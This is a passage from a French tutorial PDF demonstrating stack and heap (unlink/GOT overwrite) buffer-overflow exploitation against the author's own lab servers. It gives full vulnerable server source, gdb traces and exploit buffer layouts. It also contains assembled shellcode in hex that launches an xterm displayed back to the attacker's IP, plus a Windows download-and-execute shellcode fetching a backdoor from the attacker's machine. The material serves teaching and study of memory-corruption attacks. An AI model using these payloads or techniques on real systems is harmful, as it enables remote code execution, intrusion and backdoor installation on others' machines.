    Dump of assembler code for function printMsg:0x0804866a : push %ebp0x0804866b : mov %esp,%ebp0x0804866d : sub $0x78,%esp0x08048670 : sub $0x4,%esp0x08048673 : pushl 0x8(%ebp)

    0x08048676 : push $0x80489400x0804867b : lea 0xffffff88(%ebp),%eax0x0804867e : push %eax0x0804867f : call 0x804856c 0x08048684 : add $0x10,%esp

  • 7/23/2019 Dmonstration buffer overflow

    17/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 17 -

    0x08048687 : sub $0xc,%esp0x0804868a : lea 0xffffff88(%ebp),%eax0x0804868d : push %eax0x0804868e : call 0x804850c 0x08048693 : add $0x10,%esp0x08048696 : leave0x08048697 : retEnd of assembler dump.

    (gdb) b *0x0804866aBreakpoint 1 at 0x804866a: file server.c, line 23.(gdb) r

    Starting program: serverCurrent stack: 0xbfffea00server: waiting for data on port TCP 1500

    On connecte un client en telnet et on envoie une centaine de a. Lexcution sarrte sur le breakpoint. On tracejusquau ret :

    (gdb) x /3xw $esp

    0xbfffe9dc: 0x61616161 0x000abe03 0xbfffea00

    Ladresse de retour a t crase par nos a. Le programme est donc bien exploitable.

    Analyse de lexploit

    Structure du buffer.

    Contrairement la partie prcdente, seuls les 100 premiers octets de notre buffer sont copis :read(newSocketfd, szBuffer,MAX_MSG)

    Nous ne pouvons donc pas comme prcdemment remplir le buffer dadresse de saut puis ajouter des nops et enfinle shellcode. Il faut positionner le shellcode avantladresse de retour (do le nom de shellcode before ).Voici lallure de notre buffer :

    Taille max = 100 octetsNOP shellcode @ de saut

    On voit tout de suite que lexploitation sera beaucoup plus dlicate : notre shellcode faisant 79 octets, la marge nemanuvre est relativement limite.

    Dtermination du nombre dadresse de saut et de nops.

    Etant donn que la taille du buffer est relativement petite, nous ne mettrons quune seule adresse de saut.Pour dterminer le nombre de NOP, valuons la taille du buffer envoyer :Nous augmentons progressivement le nombre de nops :

    1- Avec 9 nops ( 90 octets envoys), le programme ne plante pas.2- Avec 10 nops ( 91 octets envoys), le programme plante (ou du moins ferme la connexion).

    Le tableau suivant rsume ltat de la pile au moment du ret dans printMsg en fonction la longueur du buffer envoy.

    ebp @retourLigne 1 00 0A BF FF Ligne 2 0A BF FF FF 00 Ligne 3 BF FF FF FF 00 0A

    La ligne 1 reprsente la situation avec 9 nops : ni ebp ni ladresse de retour ne sont modifie.La ligne 2 reprsente la situation avec 10 nops : Un octet de ebp est cras ladresse de retour nest pas modifie.Dans cet tat le programme ne parvient pas rcuprer le contexte au retour dans main car ebp une valeurerrone. Le programme sort donc sur le write sans planter.La ligne 3 reprsente la situation obtenir : il faut donc 19 nops.

    Dtermination de ladresse de saut.

    Ladresse de saut doit tre entre @printMsg et @printMsg+17. Comme ladresse de la pile change chaqueexcution, il peut tre un peu long de tomber sur la bonne valeur. Pour nous faciliter la tche, jaffiche un ordre degrandeur de la valeur pile. On utilisera cette valeur comme adresse de saut.

  • 7/23/2019 Dmonstration buffer overflow

    18/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 18 -

    Exploitation du serveur

    Sur la machine Linux.

    1- Lancez le serveur$ ./server_before

    Current stack: 0xbfffe430./server_before: waiting for data onKQPSCP 1500

    Ladresse de pile est alors 0xbfffe430.

    Sur la machine attaquante.

    1- Editez le fichier de configuration linux_stack_overflow_before_exploit.conf :SERVER_ADDR=192.168.1.3SERVER_PORT=1500

    BUFFER=NOP:16|SHELLCODE:1|JMP:1

    2- Lancez injecter.pl en passant ladresse de saut dans la commande pour viter de modifier le fichier deconfiguration chaque test :injecter.pl -f linux_stack_overflow_before_exploit.conf -r -j 0xbfffe430

    -==================================--= injecter.pl =-

    -= =--= ghorg0re/3ey's exploit tools =--= =--= Autor: ghorg0re/3ey =--= Version: 1.06 =--= Date: 17/05/2004 =--==================================---------------------------------------------------Server welcome

    Data received:"Welcome to ghorg0re/3ey server"----------------------------------------------------------------------------------------------------

    Packet number 0

    Data tosend:"[1CC0PKQPS /usr/X11R6/bin/xtermXDISPLAY=192.168.000.002:0.0X0 "Sending Data...Data received:""

    3- Une fentre xterm souvre alors sur le client. Comme prcdemment, elle possde les droits de lutilisateursous lequel tournait le serveur.

  • 7/23/2019 Dmonstration buffer overflow

    19/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 19 -

    Exploitation du serveur 3: Heap overflow.

    Les exemples prcdemment illustraient des dbordements de pile. Lexploitation est relativement directe car la pilecontient des adresses charges dans eip lors dune instruction ret . Lors dun dbordement, nous avons vu quiltait possible dcraser ces adresses et donc de modifier le flot dexcution.

    Les dbordements de buffer sont tout fait possible dans le heap : Une application qui rserve dynamiquement 50

    octets (par un malloc) et copie une entre non vrifie dans cet espace est sujette ces vulnrabilits.Mais quen est-il de lexploitabilit ? En effet, le heap ne contient priori aucune adresse susceptible dtre chargedans eip. Certaines applications utilisant des fonctions virtuelles dans des classes pourraient tre exploitable, maiscela nest pas le cas gnral.Ce qui semblait impossible a pourtant t dcrit par Solar Designer qui a introduit la technique de la macro UNLINK.Le serveur 3 va illustrer cette technique.

    Plate-forme de test.

    Pour les tests, la plate-forme suivante sera utilise :

    Implmentation de la librairie GNU C

    Pour comprendre cette technique, il faut tout dabord comprendre le fonctionnement de lalgorithme de gestion demmoire de la librairie GNU C, qui a t crit par Doug Lea. Je ne ferais ici quune bref introduction cet algorithme.Je vous conseille de complter ces informations par la lecture de larticle de phrack sur cette technique [2]

    Les chunks.

    La librairie GNU garde les informations concernant les portions de mmoire dans des chunks . Ces chunks ont lastructure suivante :

    +----------------------------------+chunk -> | prev_size |

    +----------------------------------+| size |+----------------------------------+

    mem -> | data |: ... :+----------------------------------+

    nextchunk -> | prev_size ... |

    : :

    Voici la signification de chaque champ :data mem est le pointeur que lon rcupre par le malloc. Donc lors de lappel :

    unsigned char * mem = malloc (16);mem est gal au pointeur de la figure sur data et (mem-8) est gal au pointeur sur le chunk.

    prev size Si le chunk prcdent est libre, indique sa taille. Sinon, fait partie des data du chunk prcdent pour sauver 4 octets.

    size Contient la taille des data. Le calcul de la taille partir de la taille demande nest pas direct et nesera pas expliqu ici. Pour vous faire un programme effectuant ce calcul, vous pouvez vousinspirer de la page :http://www.synnergy.net/exploits/vudo.cIl faut cependant noter que la taille est toujours aligne sur un DWORD ; les trois bits de poidsfaible sont donc toujours zro. Ils sont donc utilis pour autre chose :

    Le plus faible, appel PREV_INUSE, indique si le chunk prcdent est utilis. Le suivant indique si la mmoire est m-mappe. Le suivant nest pas utilis.

    Attaquant : Windows192.168.1.2

    Serveur : Linux192.168.1.3

  • 7/23/2019 Dmonstration buffer overflow

    20/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 20 -

    La libration de mmoire.

    Lors dun appel free, certains tests sont effectus : Si les voisins du chunks libr sont aussi libres, ils vont tre rassembls. Sinon, le bit PREV_INUSE du chunk suivant est mis zro. Le chunk libr est modifi :

    +----------------------------------+chunk -> | prev_size |

    +----------------------------------+| size |+----------------------------------+

    mem -> | fd |+----------------------------------+| bk |+----------------------------------+| (old memory, can be zero bytes) |: :

    nextchunk -> | prev_size ... |: :

    2 valeurs sont ajoutes : fd et bk, qui sont des pointeurs dans une liste doublement chanes de blocs libres.

    Pour rsumer, lorsquun chunk N est libr, lalgorithme vrifie si les chunks voisins sont libres ou non. Par exemple,si le chunk N+1 est libre, il va tre fusionn avec le chunk N. Pour cela, il faut enlever le chunk N+1 de la liste deschunks libres. Pour faire cette opration, lalgorithme utilise la macro UNLINK suivante :

    #define unlink( P, BK, FD ) { \BK = P->bk; \ [1]FD = P->fd; \ [2]FD->bk = BK; \ [3]BK->fd = FD; \ [4]

    }

    BK et FD sont des variables temporaires.

    Principe de lexploitation du dbordement.

    Une situation de dbordement usuelle est la suivante :mem = malloc(25);mem2 = malloc(25);...strcpy(mem, input);...free(mem);

    La mmoire alloue a la structure suivante :[prev_size][size P][32 bytes][prev_size][size P][data ... ]

    On voit donc que si input est suprieur 32 bytes, la copie va craser le chunk suivant.

    Lorsque free est appel, lalgorithme va regarder si le second chunk est libre ou non pour le concatner. Si cest lecas, la macro unlink va tre appele. Or cette macro effectue des oprations dcriture en mmoire partir despointeurs FD et BK du chunk que nous avons cras. Il est donc possible en injectant des valeurs particuliresdcrire une valeur de notre choix une adresse de notre choix.Par exemple, nous pouvons mettre dans FD ladresse de la fonction (moins 12 pour compenser loffset de BK) et dansBK ladresse de notre shellcode.La solution la plus simple est de remplacer une des adresses de la GLOBAL_OFFSET_TABLE avec ladresse denotre shellcode. Ainsi lors du prochain appel de cette fonction, lexcution sautera sur notre shellcode.

    Il reste alors plusieurs difficults :

    En fait, le chunk N+1 nest pas libre. Donc la macro unlink nest normalement pas appele. Pour viter cela, ilfaut modifier ce chunk pour que lalgorithme croit quil est libre. Pour savoir si un chunk est libre, lalgorithmesaute au chunk suivant (en se basant sur la taille du chunk) puis regarde le bit PREV_INUSE.

  • 7/23/2019 Dmonstration buffer overflow

    21/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 21 -

    Lide est donc le remplacer la taille du chunk N+1 par la valeur 4. Ainsi au lieu danalyser le bitPREV_INUSE du chunk N+2, lalgorithme testera celui du chunk N+1, qui aura bien sr t marqu commelibre.

    Ladresse de notre shellcode doit tre brute-force ou extraite par dbuggage. Ladresse de la GLOBAL_OFFSET_TABLE doit tre brute-force ou extraite par objdump.

    Voici par exemple le rsultat obtenu pour le serveur 3 :$ objdump -t server_heap_overflow

    server_heap_overflow: file format elf32-i386

    SYMBOL TABLE:080480f4 l d .interp 0000000008048108 l d .note.ABI-tag 0000000008048128 l d .hash 00000000080481d0 l d .dynsym 0000000008048340 l d .dynstr 00000000080483f2 l d .gnu.version 0000000008048420 l d .gnu.version_r 0000000008048440 l d .rel.dyn 00000000...08048558 F *UND* 000001b4 malloc@@GLIBC_2.0...

    08049c2c g O .got 00000000 _GLOBAL_OFFSET_TABLE_...

    On constate que :o Notre serveur utilise bien malloc de GLIBCo La GLOBAL_OFFSET_TABLE est en 0x08049c2c. Pour brute-forcer une adresse, il suffit de

    prendre cette adresse et dincrmenter de 4. Si la ligne 3 de unlink nous permet dcrire ladresse de notre shellcode la place de ladresse dune fonction,

    la ligne 4 crit FD sur le WORD loffset 8 de notre shellcode ! Nous devons donc utiliser un shellcodeeffectuant un saut par dessus cette valeur crase.

    Puisque la fonction free est appele sur mem, les deux premiers WORD vont tre crass par FD et BK. Ilfaut donc commencer le buffer par 2 WORD inutiles et sauter en buffer+8

    Finalement, voici lallure du buffer :

    0 4 8 10 12 16 20OVERW OVERW JMP offset 20 XXX XXX OVERW EXECVE

    Les cases OVERW sont celles qui sont crases.Ladresse place dans FD est @WRITE-12Ladresse place dans BK est @BUFFER+8

    o : @WRITE est ladresse o lon souhaite crire (dans GLOBAL_OFFSET_TABLE) @BUFFER est ladresse du buffer mem.

  • 7/23/2019 Dmonstration buffer overflow

    22/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 22 -

    Les schmas suivant rsument le principe de lexploitation :

    Avant sprintf :

    Aprs sprintf :

    Aprs free :

    GLOBAL_OFFSET_TABLE:

    Programme vulnrable

    Description

    Le programme vulnrable est un petit serveur qui coute sur le port 1500. Aprs connexion, il accepte unecommande, envoye suivant le format : [1] [data]Lors de la reception dun buffer, le serveur analyse donc le premier octer.

    Si ce nest pas un 1 , il renvoie la chane unknow command . Sil sagit dun 1 , alors il alloue une structure CONNEXION, dans laquelle il enregistre lheure de

    connexion, et un buffer de taille fixe, dans lequel il recopie la donne envoye par le client concatne lachaine login .

    Il libre ensuite les deux structure avec la fonction free.

    Code

    Voici le code :#include #include

    #include #include #include #include #include

    #define SERVER_PORT 1500#define MSG_UKN_CMD "Unknow command\n"#define SZ_USERNAME 200#define SZ_BUFFER 1500#define CMD_USER 1

    /************************************** Fonction error

    ** Affiche le message d'erreur msg**************************************/

    prev_size size data prev_size size data

    prev_size size trash Fake p_s Fake size dataFD BKshellcode

    @ malloc

    @ exit

    @ free

    prev_size size Fake p_s Fake size dataFD BKFD BK shellcode

  • 7/23/2019 Dmonstration buffer overflow

    23/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 23 -

    void error(char *msg){

    perror(msg);exit(-1);

    }

    /************************************** Definition des structures

    ** CONNEXION: enregistre l'heure de la connexion**************************************/

    typedef struct

    {time_t connectTime;

    } CONNEXION;

    /************************************** Fonction processData** Analyse le message szBuffer et renvoie une reponse sur newSocketfd

    **************************************/

    void processData(int newSocketfd, char *szBuffer)

    {char *p;CONNEXION *c;

    // La commande recu est un loginif(szBuffer[0] == CMD_USER){

    // Allour un buffer de taille SZ_USERNAME et une structure CONNEXIONp=(char *) malloc(SZ_USERNAME*sizeof(char));c=(CONNEXION *) malloc(sizeof(CONNEXION));

    // Rempli les structuresc->connectTime=time();sprintf(p,"%s login\n", &szBuffer[1]);

    // Renvoie la reponse au clientif(write(newSocketfd, p, strlen(p)) < 0)

    error("ERROR writing to socket");

    // Libere la memoirefree(p);free(c);

    }// La commande recu est inconnue

    else{

    if(write(newSocketfd, MSG_UKN_CMD, strlen(MSG_UKN_CMD)) < 0)error("ERROR writing to socket");

    }}

    /************************************** Fonction main** Cree un serveur en ecoute sur le port SERVER_PORT**************************************/

    int main (int argc, char *argv[])

    {int socketfd, newSocketfd, cliLen;struct sockaddr_in cliAddr, servAddr;char szBuffer[SZ_BUFFER];int n;

  • 7/23/2019 Dmonstration buffer overflow

    24/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 24 -

    // Cree socketif((socketfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)

    error("Cannot open socket ");

    // Bind sur le portservAddr.sin_family = AF_INET;servAddr.sin_addr.s_addr = htonl(INADDR_ANY);

    servAddr.sin_port = htons(SERVER_PORT);

    if(bind(socketfd, (struct sockaddr *) &servAddr, sizeof(servAddr)) 0){

    processData(newSocketfd, szBuffer);bzero(szBuffer, sizeof(szBuffer));

    }}

    Analyse du fonctionnement.1- Allez dans le rpertoire VULN_SERVER_HEAP_OVERFLOW2- Recompilez le serveur server_heap_overflow3- Lancez le serveur dans gdb

    On met un breakpoint aprs les allocations. On peut alors lire les adresses des allocations :(gdb) p c

    $1 = (CONNEXION *) 0x8049db0(gdb) p p

    $2 = 0x8049ce0 ""

    On affiche la mmoire autour de la variable c :(gdb) x /4xw c-2

    0x8049da8: 0x00000000 0x00000011 0x00000000 0x00000000On vrifie que 0x11 = 17 correspond bien la taille rserv pour une allocation de 4 bytes avec le bit (PREV_INUSE :request2size(4) | PREV_INUSE = 17)

    Si le buffer envoy une taille suprieur 0x8049db0 - 0x8049ce0 - 8= 0xc8 (200), les valeurs prev_size et size duchunk de c vont donc tre crase.Attention, comme le premier octet est enlev (cest le code indiquant le contenu de la trame), en ralit le buffer doittre de 201 octets.

  • 7/23/2019 Dmonstration buffer overflow

    25/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 25 -

    La structure du buffer envoyer est donc :

    -40x1

    0 4OW OW

    8 10 12 16 20JMP XXX XXX OW EXECVE

    98NOP

    200 204 208 2120xdeadbabe 0xfffffff4 0x08049c64 0x08049ce8

    (Le power point a une animation illustrant assez bien cette partie).

    Pour augmenter la clart, jai clat le buffer sur 4 lignes. La premire ligne reprsente loctet CODE, de valeur 0x01 (CMD_USER) La deuxime ligne reprsente les 2 WORD qui sont crass lors de la libration de p. Jai fait commenc le

    compte doffset partir de l, car cest partir dici que le buffer est copi dans p. La troisime ligne reprsente le shellcode. On retrouve le saut la partie EXECVE, au dessus lespace qui va

    tre en parti cras par le 4me

    ligne de UNLINK. La quatrime ligne reprsente du bourrage. Jai mis de NOP, mais on pourrait mettre nimporte quelle valeur

    non nulle. La dernire ligne reprsente les donnes qui vont craser le chunk suivant. On retrouve :

    o Le champ PREV_SIZE a une valeur ayant le bit PREV_INUSE (bit de poids faible) 0.o Le champ SIZE contenant la fausse taille de notre chunk.o Ladresse o crire.o Ladresse crire.

    Quelques prcisions sur cette dernire ligne : La fausse taille est de 4. Donc lorsque lalgorithme va sauter au chunk suivant, il tombera sur le DWORD

    avant notre faux chunk. Lorsquil lira le champ SIZE, il accdera en fait au champ PREV_SIZE (0xdeadbabe),qui a bien son bit de poids faible 0.

    Ladresse o crire permet dcraser ladresse de free dans la GLOBAL_OFFSET_TABLE. Pour la trouver,on peut analyser le code appelant free :

    0x080487a6 : call 0x80485e8

    et(gdb) x /i 0x80485e80x80485e8 : jmp *0x8049c70

    Lcriture se faisant 12 octets aprs ladresse donne, nous devons injecter la valeur :

    0x8049c70-0xC=0x8049c68 Ladresse crire correspond dbut du shellcode.

  • 7/23/2019 Dmonstration buffer overflow

    26/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 26 -

    Le shellcode.

    Le shellcode est le mme que celui utilis pour les stack overflow, avec une lgre modification : lajout des 10 octetsdont une partie va tre crase par la 4

    meligne de UNLINK :

    #include

    int main(int argv, char ** argc){asm("

    begin:

    .string \"AAAA\"jmp getaddradd $0xdeadbabe, %eax /* Instruction inutile ecrase par fd et bk */add $0xdeadbabe, %eax /* Instruction inutile ecrase par fd et bk */

    function:

    popl %ebx /* Recupere adresse de la commande */xor %eax, %eax

    movb %al, 0x14(%ebx)movb %al, 0x30(%ebx)

    pushl %eax /* push NULL */lea 0x15(%ebx), %ecxpushl %ecx /* push @ variable d'env DISPLAY */movl %esp, %edx /* Load @ tableau env dans edx */pushl %eax /* push NULL */pushl %ebx /* push @ de la commande */movl %esp, %ecx /* Load @ tableau dans ecx */

    movb $0xb, %alint $0x80

    getaddr:

    call function.shell_string:

    .string \"/usr/X11R6/bin/xtermXDISPLAY=192.168.000.002:0.0X\"

    /* le X a remplacer par un 0 */");}

    En pratique :1- Allez dans le rpertoire SHELLCODE_BUILDER sur la machine Linux.2- Editez le fichier buildShellCode.c.launchxterm.heapoverflow et remplacer ladresse IP dans la ligne

    .shell_stringDISPLAY=192.168.001.002:0.0

    3- Copiez buildShellCode.c.launchxterm.heapoverflow en buildShellCode.c4- Lancez le script de test :

    $ ./shellcodeBuilder.sh -t

    -==================================--= shellcodeBuilder.sh =--= =--= ghorg0re/3ey's exploit tools =--= =--= Autor: ghorg0re/3ey =--= Version: 1.00 =--= Date: 17/05/2004 =--==================================-

    =======================================Building buildShellCode.c ...buildShellCode.c:5:13: warning: multi-line string literals are deprecated=======================================Extracting shellcode ...

    charshell[]="\xeb\x22\x05\xbe\xba\xad\xde\x05\xbe\xba\xad\xde\x5b\x31\xc0\x88\x43\x14\x88\x43\x30\x50\x8d\x4b\x15\x51\x89\xe2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x75\x73\x72\x2f\x58\x31\x31\x52\x36\x2f\x62\x69\x6e\x2f\x78\x74\x65\x72\x6d\x58\x44\x49\x53\

  • 7/23/2019 Dmonstration buffer overflow

    27/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 27 -

    x50\x4c\x41\x59\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x30\x31\x2e\x30\x30\x32\x3a\x30\x2e\x30\x58";// Shellcode size = 90 bytes=======================================Generating testShellCode.c...=======================================Building testShellCode.c ...=======================================

    Executing testShellCode ...5- Une fentre xterm souvre sur la machine attaquant (Pensez lancer le serveur X dessus !).6- Construisez le shellcode :

    $ ./shellcodeBuilder.sh -b

    -==================================--= shellcodeBuilder.sh =--= =--= ghorg0re/3ey's exploit tools =--= =--= Autor: ghorg0re/3ey =--= Version: 1.00 =--= Date: 17/05/2004 =--==================================-

    =======================================Building buildShellCode.c ...buildShellCode.c:5:13: warning: multi-line string literals are deprecated=======================================Extracting shellcode ...$shellcode="\xeb\x22\x05\xbe\xba\xad\xde\x05\xbe\xba\xad\xde\x5b\x31\xc0\x88\x43\x14\x88\x43\x30\x50\x8d\x4b\x15\x51\x89\xe2\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x75\x73\x72\x2f\x58\x31\x31\x52\x36\x2f\x62\x69\x6e\x2f\x78\x74\x65\x72\x6d\x58\x44\x49\x53\x50\x4c\x41\x59\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x30\x31\x2e\x30\x30\x32\x3a\x30\x2e\x30\x58";# Shellcode size = 90 bytes

    1;=======================================

    Writing shellcode to shellcode.pm ...

    7- Copiez le fichier shellcode.pm sur la machine attaquante, dans le rpertoire INJECTER.

    Exploitation du serveur

    Sur la machine Linux.

    1- Lancez le serveur$ ./server_heap_overflow

    ./server_heap_overflow: waiting for data on port TCP 1500

    Sur la machine attaquante.

    1- Copiez le fichier shellcode.pm depuis le rpertoire BUILD_SHELLCODE de la machine Linux vers lerpertoire INJECTER de la machine attaquante.

    2- Editez le fichier de configuration linux_heap_overflow_exploit.conf :SERVER_ADDR=192.168.1.3SERVER_PORT=1500

    BUFFER=0x01:1|0xdeadbabe:1|0xdeadbabe:1|SHELLCODE:1|0x90:102|0xdeadbabe:1|0xfffffff4:1|0x08049C64:1|0x08049ce8:1

    3- Lancez injecter.pl :injecter.pl -f linux_heap_overflow_exploit.conf -r

    -==================================--= injecter.pl =--= =-

    -= ghorg0re/3ey's exploit tools =--= =--= Autor: ghorg0re/3ey =--= Version: 1.06 =--= Date: 17/05/2004 =--==================================-

  • 7/23/2019 Dmonstration buffer overflow

    28/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 28 -

    --------------------------------------------------Server welcome

    Data received:"Welcome to ghorg0re/3ey server"----------------------------------------------------------------------------------------------------Packet number 0

    Data tosend:""[1CC0PKQPS /usr/X11R6/bin/xtermXDISPLAY=192.168.001.002:0.0X d"Sending Data...Datareceived:""[1CC0PKQPS /usr/X11R6/bin/xtermXDISPLAY=192.168.001.002:0.0X d login"

    --------------------------------------------------

    4- Une fentre xterm souvre alors sur le client.

    Analyse de lexploitation.

    Premier breakpoint : avant sprintf

    Voici le dbut du chunk c :(gdb) x /4xw c-2

    0x8049da8: 0x00000000 0x00000011 0x40b65eb5 0x00000000

    Deuxime breakpoint : aprs sprintf

    (gdb) s66 if(write(newSocketfd, p, strlen(p)) < 0)(gdb) x /4xw c-2

    0x8049da8: 0xdeadbabe 0xfffffff4 0x08049c64 0x08049ce8

    Le dbut du chunk a bien t cras par nos valeurs.

    Troisime breakpoint : avant le premier free

    Voici ladresse de free dans la GLOBAL_ALLOCATION_TABLE :(gdb) x /xw 0x8049c70

    0x8049c70 : 0x080485ee

    Quatrime breakpoint : aprs le premier free

    Voici la nouvelle adresse de free dans la GLOBAL_ALLOCATION_TABLE :

    (gdb) s

    71 free(c);(gdb) x /xw 0x8049c700x8049c70 : 0x08049ce8

    A partir de l on trace lexcution :(gdb) display /i $pc

    1: x/i $pc 0x80487a0 : sub $0xc,%esp(gdb) si

    0x080487a3 71 free(c);

    1: x/i $pc 0x80487a3 : pushl 0xfffffff4(%ebp)(gdb)

    0x080487a6 71 free(c);1: x/i $pc 0x80487a6 : call 0x80485e8 (gdb)

  • 7/23/2019 Dmonstration buffer overflow

    29/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 29 -

    0x080485e8 in free ()1: x/i $pc 0x80485e8 : jmp *0x8049c70(gdb)

    0x08049ce8 in ?? ()1: x/i $pc 0x8049ce8: jmp 0x8049d0c(gdb)

    0x08049d0c in ?? ()1: x/i $pc 0x8049d0c: call 0x8049cf4

    (gdb)0x08049cf4 in ?? ()1: x/i $pc 0x8049cf4: pop %ebx

    Et voil, nous sommes dans notre shellcode

    Conclusion sur lexploitation sous Linux

    Il faut retenir de cette partie que lcriture dun shellcode ouvrant une fentre xterm en EXPORT DISPLAY est uneopration relativement facile et que le code reste trs petit. Ceci est d la puissance de lapi noyau de Linux et auxoutils orients rseau fournis en natif le revers de mdaille.De nombreuses solutions sont alors possible pour compliquer lexploitation :

    Ajouter des quipements de filtrage. Faire tourner le serveur dans une cage chroot pour rduire le nombre doutils disponibles. A noter que la cage

    chroot peut tre brise dans certaines conditions.

    Pour les exploitations, il faut retenir que lcrasement de ladresse de retour dans le stack nest quunemthode pourrediriger lexcution vers du code inject parmi dautres. Il existe un trs grand nombre de possibilits, mme lorsquele dbordement se fait dans des zones apparemment loin de toute valeur charge dans eip.

  • 7/23/2019 Dmonstration buffer overflow

    30/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 30 -

    Exploitation sous Windows

    Les buffer overflows sous Windows sont un sujet moins souvent couvert par les documents disponibles sur Internet.Pourtant les derniers vers comme msblast ou sasser nous ont montr limportance et la gravit du phnomne.Lobjectif de cette partie est donc deffectuer une introduction ces attaques sous Windows, toujours via lexploitationde serveurs personnels.

    Je vous conseille de lire lexcellent article de Nicolas Ruff [3] intitul la fin des buffer overflow sous Windows . Ensubstance, il prsente les amliorations apportes en terme de scurit par Visual .net et par le SP2 de XP, puisdonne des exemples o ces protections sont inefficaces.

    Je vais suivre un plan trs similaire pour cette partie, de sorte quelle apparaisse comme une dmonstration pratiquede ce qui est dcrit dans cet article (Merci lui pour cette autorisation) :

    Exploitation dun buffer overflow par crasement de ladresse de retour.o Cas dune compilation avec Visual C++ 6.0 : Exploitation directeo Cas dune compilation avec Visual .net : Loption /GS

    Prsentation dune corruption de la VTABLES : Les limites de loption /GS

    Pour mmoire, les services exploits sont des cas dcole et non des vritables applications. Lobjectif de cet articlenest en effet pas de dvoiler des failles de scurit mais dillustrer ces mcanismes.

    Cration du shellcode dexploitation

    Principe du shellcode.

    Comme dans la partie Linux, nous allons commencer par lcriture du shellcode. Nous voulons comme sous Linuxobtenir un cmd.exe distant. Cependant, Windows de dispose pas en natif doutil cmd.exe distant.En consquence, nous allons devoir dvelopper notre propre backdoor permettant un accs shell distant. Nousprendrons par exemple une version un peu modifie du cmd.exe distant sur le site de borland [4]. En rsum, ceprogramme lance un programme cmd.exe en redirigeant ses entres/sorties vers des pipes. Lautre extrmit de cespipes est connecte des sockets :

    Cot client, laccs se fait par un simple telnet (putty.exe en mode raw).Le code C est disponible dans WINDOWS\BACKDOOR. Il faut maintenant le rendre injectable dans un buffer. Onconstate immdiatement un certain nombre de problmes.

    Linterface noyau de Windows tant beaucoup plus limite que celle de Linux, il est devient trscomplique de lutiliser directement (de plus cette technique nest pas portable dune version de Windows une autre).

    Nous allons donc devoir utiliser les API de haut niveau , comme kernel32.dll ou ws2_32.dll. Il y a alorsdeux possibilits : soit hardcoder les adresses de ces fonctions, en sachant quelles varient en fonction dela version de Windows, du service pack et mme de la langue ce qui signifie de modifier le shellcode enfonction de lOS cible et tre sr de pouvoir dterminer toutes ces caractristiques.Ou alors une mthode plus consommatrice en terme despace, mais portable et donc bien plus efficacequi consiste dabord retrouver les adresses des fonctions dynamiquement.Nous allons utiliser cette seconde technique.

    Le code du shellcode va donc tre compos de deux parties :o Dans la premire, nous allons donc devoir retrouver les adresses des fonctions utilises, charger

    les dlls,o Une fois tout cela fait, il faudra encore ajouter le code de la backdoor lui-mme, qui sappuiera sur

    les adresses des fonctions trouves dans la premire partie.On voit que si la taille du code de la premire partie peut rester raisonnable, celle de la seconde va elle treconsidrable. Nous risquons donc dobtenir un shellcode de 1500 octets que nous ne pourrons jamais injecter !

    ServeurAttaquant

    socket cmd.exetelnet

    TCP IP

    PIPE

  • 7/23/2019 Dmonstration buffer overflow

    31/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 31 -

    Lide est donc de remplacer cette partie par un code effectuant un tlchargement de la backdoor, puis qui lexecute.

    Le shellcode maison que jutilise fonctionne sur le principe suivant : Rcupration de ladresse de kernel32.dll via la technique du PEB. Rcupration de ladresse de LoadLibrary via ma fonction MyGetProcAddress Chargement de urlmon.dll

    Rcupration de ladresse de URLDownloadToFileA Tlchargement du fichier ladresse http://[@IP attaquant]:7777/ dans le fichier a.exe Excution du programme a.exe

    Le tout prend environ 300 octets.

    Cette technique prsente plusieurs avantages : Elle permet de tlcharger un programme beaucoup plus gros que 300 octets, par exemple un outil de prise

    de main distance. Dans notre cas, nous tlchargerons le programme backdoor.exe dcrit ci-dessus. En utilisant la fonction de tlchargement URLDownloadToFileA de haut niveau , ce shellcode prend

    en compte la configuration de IE. Par exemple si la politique interne est de passer par un proxy, laccs via ceproxy se fera de manire transparente.

    Voici le code du shellcode :

    .386

    .model flat,stdcalloption casemap:none

    include \masm32\include\WINDOWS.INCinclude \masm32\include\kernel32.incincludelib \masm32\lib\kernel32.libinclude \masm32\include\masm32.incincludelib \masm32\lib\masm32.libinclude \masm32\include\debug.incincludelib \masm32\lib\debug.lib

    K32ADDOFF EQU 04hUM32ADDOFF EQU 08hLDLIBADDOFF EQU 0ChFILENAMEOFF EQU 10hSPACETORESERVE EQU 40h

    MYDEBUG EQU 0hMYBREAK EQU 0hMYPROPERCODE EQU 0hMYEXTRACTBUFFERLABEL EQU 1h

    .codeIF MYEXTRACTBUFFERLABELstartValue db "AAAA"ENDIF; ====================================; Execution start point; ====================================start:IF MYBREAK

    int 3ENDIFIF MYDEBUG

    PrintText "DEBUG: Starting shellcode"ENDIF

    jmp startBuffer

    ; ====================================

    ; Function MyGetProcAddress; Aim; Equivalent of GetProcAddress;; Parameter

  • 7/23/2019 Dmonstration buffer overflow

    32/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 32 -

    ; Param 1 = address of library; Param 2 = A DWORD in function name;; Return; eax = 0 if failed; eax = function address if success; ====================================

